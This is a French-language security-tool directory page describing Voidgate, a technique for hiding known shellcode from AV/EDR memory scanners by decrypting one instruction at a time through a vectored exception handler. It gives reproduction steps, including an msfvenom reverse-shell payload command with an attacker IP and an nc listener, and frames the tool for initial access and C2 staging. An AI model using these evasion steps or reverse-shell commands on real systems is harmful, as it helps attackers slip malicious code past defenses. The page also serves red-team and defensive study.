Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
Voidgate — A technique that can be used to bypass AV/EDR memory scanners. This can be used to hide well-known and detected shellcodes (such as msfvenom) by performing on-the-fly decryption of individual encrypted assembly instructions, thus rendering memory scanners useless for that specific memory page. | Kitploit
Outils/GitHubGitHub/vxcrypt0r/voidgate
IDS/IPS EvasionShellcodeDebuggersRed TeamingPayload DevelopmentAdversarial Attack
GitHubvxcrypt0r/voidgate

Voidgate

Voir le dépôt
59984il y a 2 ansVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →

À propos

A technique that can be used to bypass AV/EDR memory scanners. This can be used to hide well-known and detected shellcodes (such as msfvenom) by performing on-the-fly decryption of individual encrypted assembly instructions, thus rendering memory scanners useless for that specific memory page.

Partager

VOIDGATE

Description :

Une technique qui peut être utilisée pour contourner les scanners mémoire AV/EDR. Elle peut être utilisée pour masquer des shellcodes bien connus et détectés (tels que msfvenom) en effectuant le déchiffrement à la volée de chaque instruction assembleur chiffrée, rendant ainsi les scanners mémoire inutiles pour cette page mémoire spécifique.


Comment ça marche :

Cette technique va créer une région mémoire PAGE_EXECUTE_READWRITE où les instructions assembleur chiffrées seront stockées. Le shellcode sera entouré d'un certain padding. Le programme va définir un point d'arrêt matériel (HWBP) sur le point d'entrée du shellcode.

Ensuite, le programme va installer un Vectored Exception Handler (VEH). Ce VEH agira essentiellement comme un débogueur, exécutant pas à pas le code, lisant le registre pointeur d'instruction (RIP) pour chaque exception SINGLE STEP reçue par le VEH, et déchiffrant les 16 octets suivants (longueur maximale d'une instruction assembleur x64) vers lesquels pointe RIP. Le VEH rechiffre également l'instruction précédemment déchiffrée, garantissant que le reste du shellcode reste toujours chiffré à l'exception de la seule instruction assembleur en cours d'exécution. Ensuite, il poursuit l'exécution, avec le TRAP FLAG configuré dans le registre Eflags. Cela garantit que la prochaine instruction assembleur déclenchera également une exception de point d'arrêt que le VEH peut gérer.

Après l'installation du VEH, l'exécution du thread principal sera redirigée vers le point d'entrée du payload. Lorsque le HWBP sera déclenché au point d'entrée, le VEH s'arrêtera à chaque instruction assembleur exécutée, effectuera le déchiffrement de l'instruction assembleur suivante et chiffrera à nouveau l'instruction précédemment déchiffrée, qui est sauvegardée dans une variable globale.

En procédant ainsi, une seule instruction assembleur est déchiffrée à la fois, le reste du payload restant chiffré.


Limitations :

NOTE : Cette technique est idéale pour obtenir un accès initial en utilisant un shellcode basique tel que msfvenom ou des reverse shells personnalisés. Elle peut également être utilisée comme payload initial de premier étage qui télécharge le reste du payload depuis le serveur C2.

NOTE : Cette technique n'est pas compatible avec tous les payloads (tels que les chargeurs réflexifs). Voici une liste des limitations actuelles :

  • 1.) Étant donné que le VEH se déclenchera pour CHAQUE INSTRUCTION ASSEMBLEUR exécutée dans le shellcode, la vitesse d'exécution du shellcode sera considérablement réduite. Pour chaque instruction assembleur exécutée par le CPU, le VEH exécutera au moins 300 instructions ASM supplémentaires pour effectuer le déchiffrement, le chiffrement et restaurer l'exécution du thread principal. Si le shellcode donné est optimisé pour une taille plus petite plutôt que pour la performance (comme msfvenom), l'exécution du payload sera plus lente. Cela peut prendre plus de 15 secondes (selon le CPU) pour exécuter un MSFVENOM. Cela se produit car le shellcode spécifique utilisé par msfvenom sacrifie la performance pour obtenir une taille de payload plus petite.
  • 2.) Si le shellcode appelle NtCreateThread ou l'un de ses wrappers dans Kernelbase.dll avec le point d'entrée situé dans le shellcode, le payload ne fonctionnera pas car le VEH ne se déclenchera pas pour l'exécution de ce thread puisqu'aucun HWBP n'est installé au point d'entrée du thread nouvellement créé. (Travail en cours - sera implémenté plus tard dans ce dépôt)
  • 3.) Si le shellcode contient des valeurs/variables stockées dans lui-même (par exemple, la chaîne brute "powershell.exe" référencée via un offset dans un appel à WinExec WINAPI) ou des nombres sauvegardés à un offset, et que le shellcode tente plus tard de les charger ou de les référencer quelque part, le programme ne fonctionnera pas car la variable ou la chaîne spécifique et le VEH ne la déchiffre pas. Si le shellcode pousse ces arguments sur la pile via des instructions assembleur ( pour pousser "AAAAAAAA" sur la pile afin de l'utiliser dans un appel à une fonction), cette technique fonctionnera. (Travail en cours - sera implémenté plus tard dans ce dépôt)

Utilisation :

Comment reproduire le POC :

  • 1.) Créez votre payload msfvenom :
root@kitploit:~
 msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.100.33 LPORT=443 -f raw > shell.asm
  • 2.) Utilisez XorEncryptPayload.exe pour chiffrer le payload avec XOR
root@kitploit:~
./XorEncryptPayload.exe C:\Path\to\shell.asm
  • 3.) Mettez à jour la variable qui contient le shellcode dans le main.cpp du projet Voidgate
  • 4.) Assurez-vous que la clé xor correspond à celle du chiffreur et du projet Voidgate
  • 5.) Assurez-vous que votre listener est en attente sur la machine d'attaque :
root@kitploit:~
nc -nvlp 443
  • 6.) Exécutez Voidgate.exe

Démo :


Avertissement

Ce dépôt est à des fins académiques, l'utilisation de ce logiciel relève de votre responsabilité.

Télécharger l’outil
sera chiffrée
push 0x4141414141414141